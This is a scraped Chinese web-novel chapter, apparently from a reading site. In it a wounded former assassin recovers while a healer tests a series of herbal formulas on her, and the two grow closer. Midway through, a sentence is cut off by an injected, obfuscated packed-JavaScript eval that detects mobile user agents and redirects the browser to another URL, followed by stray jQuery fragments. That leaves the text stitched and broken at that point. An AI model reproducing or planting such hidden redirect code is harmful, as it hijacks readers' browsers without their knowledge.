默认冷灰
24号文字
方正启体

4. 福星?

作者:瓜瓜落地本书字数:K更新时间:
    莫絮语像一阵风卷到墙边的药柜前,飞快拉开一个个抽屉,在各色药材间快速扫过,嘴里又开始念念有词:


    “当归补血活血,可你的脉象里血瘀已经化去大半,再多放恐怕会生燥热……嗯,减一钱。”


    “地龙通络效果是好,只是药性偏寒,你体内余毒本就阴寒深重,得配一点温性的桂枝梢平衡一下才行……”


    闻不言靠在床头,静静望着她全身心投入医术的背影,后知后觉地涌上一丝荒谬感。


    她这一生,活在刀光剑影里,活在命令与杀戮中,从未想过,有朝一日会成为别人新药方的“试药者”,更从未想过,会有人为了她的伤势,这般兴致勃勃、不厌其烦地反复调整配比。


    可目光落下,触及胸口下已然结痂的伤口,下面沉稳跳动的心脏,却无比清晰地提醒她——这条命,是因为眼前这个哼着小曲、专心捣药的女人,才得以继续跳动。


    罢了。


    她并非忘恩负义之人。


    昔日在组织里,一命换一命,一恩还一恩,是最朴素的规矩。


    如今欠了对方一条命,又欠下数百两诊金,不过是试几服药,便当作……另一种形式的偿还吧。


    接下来的几天,闻不言的“试药”生涯,正式拉开了序幕。


    莫絮语说自己“很有分寸”,这话至少在她自己看来,是半点不假的。


    每天除了固定服用的疗伤汤药之外,总会多出一小碗颜色、气味、苦涩程度都各不相同的药汁。


    每一次,莫絮语都会端着小碗凑到她面前,眼睛亮晶晶地盯着她,手里还要紧紧攥着一个小本本和一支毛笔,一副随时准备详细记录反应的认真模样。


    “今天加了一味赤阳花蕊,理论上能加速驱散你经脉里最后那点阴寒余毒,不过……可能有点上火。”


    闻不言面不改色地接过小碗,仰头一饮而尽。


    药汁入喉,起初只是寻常的微苦,可不过片刻功夫,一股明显的灼热感便从胃部缓缓升起,像一簇小火苗,迅速蔓延向四肢百骸,连带着脸颊都微微发烫,喉咙也泛起一阵干涩。


    她蹙了蹙眉。


    “怎么样怎么样?”莫絮语立刻凑上前来,目光仔细打量着她的面色与瞳孔,手下意识往她腕间探,想诊脉确认情况。


    闻不言抬手挡开她探过来的手指,自己按在腕间脉搏处,静静感受了片刻,随即指向自己的喉咙,又简单比了个“热”的手势。


    “喉咙干?全身发热?”莫絮语立刻低头,在小本本上飞快记录:“嗯……赤阳花蕊药性果然霸道,对你现在的体质来说还是偏烈了,明天减半,再加一点甘凉的茅根中和一下。”


    第二天,药汁变成了浅褐色,味道清苦中带着一丝淡淡的回甘。


    闻不言喝下之后,约莫半个时辰,腹部开始泛起轻微的胀闷,肠鸣隐隐,在安静的屋子里格外清晰。


    莫絮语正蹲在院子里分拣草药,耳朵却灵得很,几乎第一时间就探进头来:“有反应了?是不是肚子有点不舒服?”


    闻不言:“……”


    她只是不动声色地微微调整了一下坐姿,试图掩饰这难言的尴尬。


    可莫絮语却像发现了什么重大线索一般,立刻跑进屋,也不管她愿不愿意,直接拉过她的手腕搭在脉上,凝神细品,眉头蹙起。


    “脉象滑而略数……气机稍滞于中焦,看来甘凉的药材还是加多了,影响了脾胃运化,唔,这平衡点,还真是难找……”


    她咬着笔杆,若有所思:“明天试试加点炒麦芽和佛手,理气健脾,又不会助热,应该刚好。”


    闻不言望着她专注记录的侧脸,心底竟难得生出一丝感慨。


    这个女人平日里看起来叽叽喳喳、跳脱随性,可一旦触及医术,便会露出这般令人惊讶的执着与探索欲,明亮得让人无法移开视线。


    第三次试药,反应变成了嗜睡。


    闻不言在本该保持警惕的午后,竟靠着墙壁昏昏沉沉睡了将近一个时辰。


    醒来时,睁眼便看见莫絮语正轻手轻脚地往她身上盖薄毯。


    “醒啦?”莫絮语有些不好意思地挠挠头:“看来佛手安神的效果,在你身上被放大了……下次不用这味了。”


    第四次,药汁的味道变得极其古怪,酸涩之中还夹杂着一丝腥气,一闻便知不是什么好东西。


    闻不言不想喝,直觉告诉她,这碗药喝下去,绝对不会有什么舒服的反应。


    莫絮语左求右求,软磨硬泡,见她始终不为所动,竟一咬牙,自己端起碗“舍身取义”,先抿了一大口。


    见此情景,闻不言心头微顿,伸手夺过那碗已经被喝了一半的药汁,仰头尽数饮下。


    这一次,她喝下之后反倒没什么明显不适,只是当天半夜,莫絮语自己爬起来跑了好几次茅房,第二天一早顶着一对浓重的黑眼圈,有气无力地嘟囔:


    “……好像是我自己配比弄错了,寒热药性冲撞在一起……阿闷,你肠胃是真的铁打。”


    闻不言望着她在日光下略显苍白的脸,沉默片刻,第一次主动伸手,从她手里拿过药杵,低下头,默不作声地开始捣那些需要提前预处理的坚硬药材。


    莫絮语愣在原地,片刻之后,眼睛瞬间弯成了两道好看的月牙,笑意满满:“哎呀,我们阿闷这是会心疼人啦?”


    闻不言捣药的动作顿了一下,没有理她,耳根却悄悄泛起一层极淡的热意。


    我们……


    这个词,陌生得让她心头微乱。


    经过一次又一次调整,莫絮语终于配出了一版让她彻底满意的方子。


    闻不言服下之后,只觉得一股温和的暖流缓缓在四肢百骸间流淌,一点点疏通着滞涩的经脉,胸口长久以来的闷堵感进一步减轻,连丹田深处那丝微弱的内力,恢复速度似乎也快了一丝,且全程没有任何不适与副作用。


    “就是它了!”莫絮语看着她轻轻点头示意,高兴得差点把手里的记录本扔上天:“看来按古籍里阴阳和合散的变方思路是对的!阿闷,你真是我的福星!”


    福星?


    听到这两个字,闻不言心底掠过一丝想笑的冲动。


    她是息声楼曾经最锋利、也最沉默的一把刀,是令无数江湖人闻风丧胆的天字一号杀手,是实打实的灾星,所到之处,只会带来鲜血与死亡,与“福星”二字,半点不沾边。


    可莫絮语只是自顾自兴奋地在屋子里转了两圈,忽然停下脚步,认认真真地望着她,语气真诚无比:


    “谢谢你啊,阿闷,这些方子如果验证有效,以后能帮到很多跟你有类似伤情的人。”


    闻不言缓缓抬起眼,直直对上她清澈而诚挚的目光。


    谢谢?


    这个词,对她而言太过陌生。


    她的前半生,充斥着交易、命令、杀戮、背叛与利用,身边从来只有“必须做”“不得有误”“死不足惜”,从未有人为了一碗或许有效的药汤,对她这样郑重地道谢。


    她有些不自在地移开视线,摇了摇头,意思是不必言谢。


    莫絮语却像是看懂了她沉默之下的局促与无措,笑得更加灿烂,眉眼弯弯,明亮得像盛了一整个春日的阳光。


    “好啦,为了庆祝试药成功,今天加菜!我去镇上买条鱼回来!”


    她拎起墙角的小竹篮,脚步轻快得像只小鸟,一溜烟便出了院门,消失在篱笆外的小径尽头。


    小院重归宁静,只剩下闻不言捣药的单调声响,和窗外偶尔掠过的鸟鸣。


    她停下动作,目光静静望向莫絮语消失的方向,眼神复杂。


    低头,看向自己掌心。


    上面布满了因常年握刀而磨出的薄茧,指节分明,线条冷硬。


    这双手,曾握紧冰冷的刀,终结过无数生命,沾染过洗不净的鲜血,如今,却在这里安安静静地捣着救人的草药。


    荒谬感再次涌上心头。


    她重新握紧药杵,更用力地捣了下去,仿佛要将心底所有纷乱不安的思绪,全都捣碎在这药臼里。


    莫絮语直到傍晚才回来。


    竹篮里不仅有一条鲜活的鱼,还有一块白嫩的豆腐,一把翠绿鲜嫩的小葱,以及一小包用纸包着的桂花糖。


    “镇东头刘婶送的,说我上次治好她孙子的急惊风,非要塞给我。”


    莫絮语得意地晃了晃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305400|198708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手里的糖包:“分你一半!”


    话虽然说得大方,可晚饭之前,她自己一个人就把桂花糖吃得七七八八,只剩下寥寥几块。


    喜欢吃糖。


    闻不言默默将这一点记在心里。


    晚饭的鱼汤炖得奶白浓郁,豆腐嫩滑入味,香气飘满整间小屋。


    莫絮语吃饭也堵不住嘴,叽叽喳喳地说着镇上的见闻,谁家的老人没熬住走了,哪家铺子新到了好看的布料,衙门贴了告示要修南边的桥……


    闻不言安静地喝汤,安静地吃鱼,偶尔在她抬头问“汤咸不咸”“豆腐嫩不嫩”时,才点一下头,或是摇一摇头,回应简单,却足够让对方开心。


    烛火在桌间摇曳,将两人的影子投在墙壁上,模糊地交叠在一起。


    饭后,莫絮语收拾碗筷,闻不言起身想帮忙,却被她按回椅子上。


    “伤员要有伤员的自觉!等你再好一点,活儿多着呢,到时候想偷懒都不成。”


    夜色渐深,整座小院都浸在溶溶的月光里,虫鸣细碎,夜风温柔。


    闻不言靠坐在床头,却丝毫没有睡意。


    内力已经恢复了两三成,五感也随之变得异常敏锐。


    她能清晰听见隔壁房间里,莫絮语均匀轻浅的呼吸,能听见夜风拂过药圃叶片的沙沙声,也能听见更远处的山林间,夜枭掠过枝头不详的啼叫。


    她闭上眼,试图凝神调息,引导那丝微弱内力,驱散经脉中最后的滞涩。


    胸口的伤已经没有大碍,只是动作稍大时,仍会有一丝轻微的牵扯痛感。


    按照现在的恢复速度,再有七八日,她便能行动如常,内力也能恢复大半,足以自保,足以离开。


    到那时……


    她该走了。


    息声楼的规矩,她比谁都清楚。


    假死逃生的事一旦暴露,他们一定会顺着蛛丝马迹查过来,不死不休。


    这间小小的小院,这般干净温暖的安宁,根本经不起任何江湖风雨的吹打。


    莫絮语救了她,她不能反过来,成为害死对方的催命符。


    只是……想到离开二字。


    心底某个角落,竟泛起一丝极陌生的滞涩,快得让她抓不住,也让她不敢深究。


    她用力甩甩头,将不合时宜的情绪狠狠压下去。


    杀手不该有牵绊,更不该有留恋。


    她这样满身血债、朝不保夕、注定活在黑暗里的人,还是早日看清的好。


    视线穿透窗棂,落在院子里晾晒草药的木架上,月光将架子的影子拉得很长。


    她想起这些天的点点滴滴。


    莫絮语似乎永远都在忙碌,晒药、分拣、炮制、看诊、熬药、试药……


    嘴上天天念叨着让她干活抵债,可实际上,除了试药,偶尔递个东西、捣几下药杵,那些真正费力气的活儿,她从来没有真正指使过她。


    劈柴、挑水、修补屋顶,这些早就说好的“抵债项目”,莫絮语全都自己吭哧吭哧干完了。


    这很奇怪。


    按常理来说,捡一个来历不明、身无分文的伤患回家,费心费力救治,冒着巨大风险,索要报酬本就是天经地义。


    莫絮语看着也并非完全不谙世事、纯然无私的傻子。


    她会计较药材的价钱,会跟镇上来的药商讨价还价,也会对那位傲慢的绸衫中年人,收取足额诊金。


    可偏偏对她这个最大的“债务方”,却显得……过分宽容。


    闻不言从来不是习惯接受善意的人。


    这份不求回报的照顾,让她本能地警惕、无措。


    她更擅长处理明确的交易、冷酷的命令,或是直白的杀意。


    这些东西冰冷、直接、毫不掩饰,她应对得游刃有余。


    可莫絮语这种看似随意、实则处处周到的照顾,像一张柔软而温暖的蛛网,一旦缠绕上来,就让她不知该如何挣脱,也不知该如何回应。


    她正出神之际,隔壁忽然传来一阵轻微的响动。


    很快,房门被人轻轻推开一条缝。


    莫絮语披着一件薄外衣,手里端着一盏小小的油灯,睡眼惺忪地探进头来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)